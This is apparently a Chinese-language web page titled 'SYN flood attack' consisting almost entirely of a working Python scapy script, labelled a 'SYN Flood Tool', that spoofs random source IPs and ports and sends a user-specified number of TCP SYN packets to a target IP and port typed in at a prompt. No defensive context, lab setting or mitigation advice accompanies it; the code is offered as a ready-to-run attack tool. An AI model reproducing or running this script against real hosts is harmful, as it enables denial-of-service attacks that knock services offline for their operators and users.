SYN洪泛攻击

SYN洪泛攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from scapy.all import *
import random


# 生成随机的IP
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for i in range(4))))
return ip


# 生成随机端口
def randomPort():
port = random.randint(1000, 10000)
return port


# syn-flood
def synFlood(count, dstIP, dstPort):
total = 0
print("Packets are sending ...")
for i in range(count):
# IPlayer
srcIP = randomIP()
dstIP = dstIP
IPlayer = IP(src=srcIP, dst=dstIP)
# TCPlayer
srcPort = randomPort()
TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
# 发送包
packet = IPlayer / TCPlayer
send(packet)
total += 1
print("Total packets sent: %i" % total)


# 显示的信息
def info():
print("#" * 30)
print("# Welcome to SYN Flood Tool #")
print("#" * 30)
# 输入目标IP和端口
dstIP = input("Target IP : ")
dstPort = int(input("Target Port : "))
return dstIP, dstPort


if __name__ == '__main__':
dstIP, dstPort = info()
count = int(input("Please input the number of packets:"))
synFlood(count, dstIP, dstPort)